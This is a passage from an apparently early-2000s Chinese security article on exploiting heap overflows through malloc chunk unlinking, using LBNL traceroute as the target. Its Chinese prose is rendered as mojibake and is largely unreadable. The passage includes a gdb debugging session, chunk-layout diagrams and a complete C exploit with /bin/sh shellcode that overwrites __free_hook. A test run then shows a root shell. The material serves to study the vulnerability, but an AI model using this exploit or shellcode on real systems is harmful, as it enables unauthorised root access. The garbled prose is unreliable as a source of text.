µÚ¶þ¸ö²ÎÊýµÄÄÚÈÝ´Ó*ºÅ´¦¿ªÊ¼ ] (gdb) n <-- ÏÂÃæÕâ¸öcalloc½«ÔÙ·ÖÅäÒ»¶ÎÄÚ´æ 1229 hi->addrs = calloc(1, sizeof(hi->addrs[0])); (gdb) n 1230 if (hi->addrs == NULL) { (gdb) p/x hi->addrs < --- Õâ¸öµØÖ·¾ÍÊÇÎÒÃǵÚÒ»´Îsavestr()ʱµÃµ½µÄµØÖ·£¡£¡£¡ $8 = 0x804d518 (gdb) p/x sizeof(hi->addrs[0]) $9 = 0x4 (gdb) x/12x 0x804d510 <--- [prev_size] [size] [data...] 0x804d510: 0x0804d518 0x00000011 0x00000000 0x00000000 0x804d520: 0x00000000 0x00000ae1 * 0x36367830 0x3778302e 0x804d530: 0x78302e37 0x302e3838 0x00393978 0x00000000 [ ´ÓÉÏÃæ¿´µ½£¬Ð·ÖÅäµÄÄÚ´æÒ²ÊÇ´Ó0x804d510¿ªÊ¼µÄ£¬¶øÇÒ½«Óû§Êý¾ÝÇøµÄǰ8¸ö ×Ö½ÚÇåÁã¡£×î¶¥ÉϵĿéÒ²ÒÆ¶¯ÁË16¸ö×Ö½Ú£¬½«0x804d520,0x804d524Á½¸öµØÖ·µÄ Êý¾Ý¸²¸ÇÁË¡£ ] (gdb) n 1235 hi->addrs[0] = addr; (gdb) p/x hi->addrs[0] $10 = 0x0 (gdb) n 1236 return (hi); (gdb) p/x hi->addrs[0] $11 = 0x99887766 (gdb) p/x &hi->addrs[0] $12 = 0x804d518 (gdb) x/12x 0x804d510 [prev_size] [size] [data...] 0x804d510: 0x0804d518 0x00000011 0x99887766 0x00000000 0x804d520: 0x00000000 0x00000ae1 * 0x36367830 0x3778302e 0x804d530: 0x78302e37 0x302e3838 0x00393978 0x00000000 [ ×¢Ò⣬addr = 0x99887766±»´æµ½ÁË0x804d518´¦£¬Õâ¸öÖµÊÇÎÒÃÇÄÜ¿ØÖÆµÄ ] (gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. 0x40073f73 in free () at malloc.c:2952 2952 malloc.c: No such file or directory. [ ÔÚÊÔͼfree *ºÅ¿ªÊ¼µØÖ·µÄÄÚ´æÊ±³ö´í ] ΪÁ˸üÈÝÒ×Àí½âһϣ¬ÎÒÃÇ¿ÉÒÔ¿´Ò»ÏÂÁ½´Îµ÷ÓÃsavestr()ʱµÄͼ: µÚÒ»´Îµ÷ÓÃsavestr()ºó£¬·µ»ØµØÖ·p0£º |<----------------------- 1024 bytes -------------------->| +----------------------------+----------------------------+ | "111.111.111.111" \0 | junk | +----------------------------+----------------------------+ ^ |__ p0 ÔÚµÚ¶þ´Îsavestr()ºó£¬p0ÒÆ¶¯µ½Ò»¸öеÄλÖÃp1£½p0 + strlen(hostname) +1¡£ ÓÉÓÚÖ´ÐÐÁËÒ»¸öcalloc()²Ù×÷£¬µ¼Ö´Óp2¿ªÊ¼µÄ12¸ö×Ö½ÚÊÇÎÒÃDz»ÄÜ¿ØÖƵÄ. ¶øÐÒÔ˵ÄÊÇ£¬ÓÉÓÚÓÐÒ»¸ö"hi->addrs[0] = addr"²Ù×÷£¬Ê¹µÃp2Ç°ÃæµÄËĸö ×Ö½ÚÊÇÎÒÃÇÄÜ¿ØÖÆµÄ |<----------------------- 1024 bytes -------------------->| +--------+----------------------+---------------------+---+ |99887766|0000 0000 0x0ae1|...\0|"0x66.0x77.0x88.0x99"|...| +--------+----------------------+---------------------+---+ | 4×Ö½Ú |<--- 12×Ö½Ú --->| ^ p0 p2 |__ p1 ½ÓÏÂÀ´Òªfree(p1)ÁË¡£¸ù¾ÝÇ°Ãæ½éÉܵķ½·¨£¬Èç¹ûÒªÏëÀûÓÃfree(p1), ÎÒÃDZØÐëÄÜ¿ØÖÆp1-4(size)»òÕßp1-8(prev_size)µÄÄÚÈÝ£¬¼ÈÈ»ÎÒÃÇÄÜ¿ØÖÆ p0¿ªÊ¼µÄ4¸ö×Ö½Ú£¬Èç¹ûÎÒÃÇÄÜÉ跨ʹµÃp1Óëp2ÖØºÏ£¬ÄÇôÎÒÃDz»¾Í¿ÉÒÔ ¿ØÖÆp1-4ÁËÂð£¿ÕâÑù¾ÍÒªÇóµÚÒ»¸ö"-g"²ÎÊý³¤¶ÈΪ3×Ö½Ú£¬ÀýÈç"1.1" ÔÙ¼ÓÉÏ×îºóµÄ'\0',³¤¶È¾Í¸ÕºÃÊÇ4×Ö½ÚÁË¡£ |<----------------------- 1024 bytes -------------------->| +--------+------------------------------------------------+ | "1.1"\0| | +--------+------------------------------------------------+ | 4×Ö½Ú | p0 |<----------------------- 1024 bytes -------------------->| +--------+------------------------------------------------+ | "1.1"\0|"0x66.0x77.0x88.0x99"\0 | +--------+------------------------------------------------+ | 4×Ö½Ú | p0 p1 |<----------------------- 1024 bytes -------------------->| +--------+----------------------------+-------------------+ |99887766|0000 0000 0x0ae1|"88.0x99"\0|... | +--------+----------------------------+-------------------+ | 4×Ö½Ú |<--- 12×Ö½Ú --->|<--8×Ö½Ú-->| p0 p2(p1) ÄÇôÏÂÒ»²½µÄ¹Ø¼ü¾ÍÊÇÈçºÎÉèÖÃchunk->size£¬ÒÔ¼°½«ÎÒÃǵÄαÔìµÄ¿é·ÅÔÚ Ê²Ã´µØ·½ÁË¡£ inet_addr()ÓÐÒ»¸ö"ÌØÐÔ"£¬Èç¹ûÄãÊäÈë"1.2.3.4 AAAAAA"£¨×¢Òâ¿Õ¸ñºóÃæ »¹Ìí¼ÓÁËһЩ'A'£©,Ëü²¢²»»á±¨´í£¬·µ»ØÖµÎª0x04030201.Èç¹ûÊäÈë "0xaa.0xbb.0xcc.0xdd AAA"ÕâÑùµÄ×Ö·û´®£¬·µ»ØÖµ¾ÍÊÇ0xddccbbaa.ÎÒÃÇ ¿ÉÒÔ½«Î±ÔìµÄ¿é·ÅÔÚ¿Õ¸ñºóÃæ£¬½«chunk->size·ÅÔÚ0xaa.0xbb.0xcc.0xdd ÖС£ÀýÈ磬µÚ¶þ¸ö"-g"²ÎÊýʹÓÃ"0x1d.0x00.0x00.0x00 fake_chunk" ÕâÑùµÃµ½µÄchunk->size=0x0000001d¡£ 0x1dÕâ¸öÖµÊÇÔõôËã³öÀ´µÄÄØ£¿ chunk = p1 -8 fake_chunk = p1 + strlen("0x1d.0x00.0x00.0x00 ") = p1 + 20 = chunk + 8 + 20 = chunk + 28 = chunk + 0x1c (0x1c | PREV_INUSE) ==> 0x1d ÓÐÈËÒ²Ðí»á˵£¬ÎªÊ²Ã´²»½«µÚÒ»¸ö²ÎÊý³¤¶ÈÉèµÃ±È½Ï´ó£¬ÀýÈ磬³¬¹ý16 ×Ö½Ú£¬ÕâÑù16×Ö½ÚºóÃæµÄ²¿·ÖÒ²»áÔÚÎÒÃǵĿØÖÆÖ®Ï£¬ÀûÓÃÕâЩ²¿·ÖÀ´ ¹¹ÔìÒ»¸öprev_sizeºÍsize²»ÊǸü·½±ãÂð£¿ÎÒ¿ªÊ¼Ò²ÊÇÕâô¿¼Âǵ쬵«ÊÇ Êµ¼Ê²âÊÔʱ·¢ÏÖ£¬p2Ëù´ú±í¿éµÄÒѾ­ÊÇtop¿é£¬¾ÍÊÇ×î¶¥ÉϵĿ顣free(p1) ʱ£¬ÒªÇóp1-8µØÖ·µÍÓÚp2£¬Òò´ËÕâÖÖ·½·¨Ðв»Í¨¡£ OK,µ½ÕâÀï¿ÉÒÔ˵ÊǴ󹦸æ³ÉÁË£¬ÏÂÃæ¾Í¿ÉÒÔ¿ªÊ¼Ð´²âÊÔ³ÌÐòÁË¡£ÎÒÃÇÀûÓÃµÄ ÊÇunlinkÏÂÒ»¸ö¿éµÄ·½·¨¡£Äã»á·¢ÏÖ£¬Ò»µ©Ô­Àí¸ãÇå³þÁË£¬Õâ¸ö²âÊÔ³ÌÐòÊÇÏà µ±¼ò½àµÄ¡£:) ΨһÐèÒªÖªµÀµÄ£¬¾ÍÊÇ__free_hookµÄµØÖ·.Èç¹ûÄãÓÐ¶Ô /usr/sbin/tracerouteµÄ¶ÁȨÏÞ£¬¿ÉÒÔ½«Ëü¿½±´µ½Ò»¸öÁÙʱĿ¼Ï£¬È»ºóʹÓà gdb£¬½«¶ÏµãÉèÔÚexit,È»ºó»ñÈ¡__free_hook.Èç¹ûûÓжÁȨÏÞ£¬¿ÉÒÔÔö¼ÓÒ»¸ö Æ«ÒÆÁ¿£¬×Ô¶¯²âÊÔ¿ÉÄܵÄ__free_hook,Ò»°ã°´ÕÕ0x10À´µÝÔö»òµÝ¼õ¼´¿É¡£ /* Exploit for LBNL traceroute with unlinking nextchunk * - traceroute-ex.c * * THIS CODE IS FOR EDUCATIONAL PURPOSE ONLY AND SHOULD NOT BE RUN IN * ANY HOST WITHOUT PERMISSION FROM THE SYSTEM ADMINISTRATOR. * * by warning3@nsfocus.com (http://www.nsfocus.com) * 2001/03/08 */ #include #include #define __FREE_HOOK 0x401091b8 /* __free_hookµØÖ· */ #define VULPROG "/usr/sbin/traceroute" #define PREV_INUSE 0x1 #define IS_MMAPPED 0x2 char shellcode[] = "\xeb\x0a\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" /*ÕâÒ»¶ÎÊÇΪÁËÌø¹ýÀ¬»øÊý¾Ý */ "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; main (int argc, char **argv) { unsigned int codeaddr = 0; char buf[128],fake_chunk[16]; char *env[2]; unsigned int *ptr; /* ¼ÆËãshellcodeÔÚ¶ÑÕ»ÖеĵØÖ· */ codeaddr = 0xc0000000 - 4 - (strlen (VULPROG) + 1) - (strlen (shellcode) + 1); env[0] = shellcode; env[1] = NULL; /* αÔìÒ»¸ö¿é½á¹¹¡£ */ ptr = (unsigned int *) fake_chunk; *ptr++ = 0x11223344 & ~PREV_INUSE; *ptr++ = 0xfffffffc; *ptr++ = __FREE_HOOK - 12; *ptr++ = codeaddr; bzero (buf, 128); /* ÉèÖÃchunk->size = £¨£¨20+8 = 28 = 0x1c£© | PREV_INUSE£©£½ 0x1d */ memcpy(buf, "0x1d.0x00.0x00.0x00 ", 20); memcpy(buf+20, fake_chunk, 16); execle (VULPROG, VULPROG, "-g", "1.1", "-g" , buf, "127.0.0.1", NULL, env); }/* End of main */ ²âÊÔ½á¹û£º [warning3@redhat-6 malloc]$ gcc -o ex3 ex3.c [warning3@redhat-6 malloc]$ ./ex3 bash# id uid=507(warning3) gid=507(warning3) euid=0(root) groups=507(warning3),100(users) bash# ¡ï ½áÊøÓ malloc/freeµÄÎÊÌâʹµÃÔÚijЩƽ̨/ϵͳÏ£¬HeapÇøÒç³öµÄΣÏÕÐÔ´ó´óÔö¼ÓÁË£¬ ÖµµÃÒýÆðÎÒÃǵÄÖØÊÓ¡£ÁíÍ⣬³ýÁËfree()¿ÉÄܳöÎÊÌâÍ⣬realloc()Ò²¿ÉÄܳöÎÊÌâ¡£ ÓÐÐËȤµÄ¶ÁÕß¿ÉÒÔ×ÔÐвο´Ò»ÏÂrealloc()µÄ´úÂë¡£ ×î³õÏëдÕâÆªÎĵµÊÇÔÚÈ¥Äê10Ô·ݣ¬ºóÀ´ÓÉÓÚÖÖÖÖÔ­Òò£¬Ò»Ö±ÍÏÁËÏÂÀ´£¬ Ϊ´Ë±»sczÂîÁ˺ܶà´Î¡£ ÏÖÔÚ×ÜËãÍê³ÉÁË¡£:) ¡ï ¸Ðл£º ¸ÐлSolar Designer£¬Chris Evans£¬dvorak£¬Michel KaempfÎÞ˽µØ·îÏ×ÁËËû ÃǵÄÑо¿³É¹û¡££¨²Î¼û²Î¿¼ÎÄÏ×.£© ¡ï ²Î¿¼ÎÄÏ×£º [1] Solar Designer, <> http://www.openwall.com/advisories/OW-002-netscape-jpeg.txt [2] Chris Evans, <> http://security-archive.merton.ox.ac.uk/bugtraq-200009/0482.html [3] dvorak £¬ <> http://security-archive.merton.ox.ac.uk/bugtraq-200010/0084.html [4] Michel Kaempf, <<[MSY] Local root exploit in LBNL traceroute>> http://security-archive.merton.ox.ac.uk/bugtraq-200011/0081.html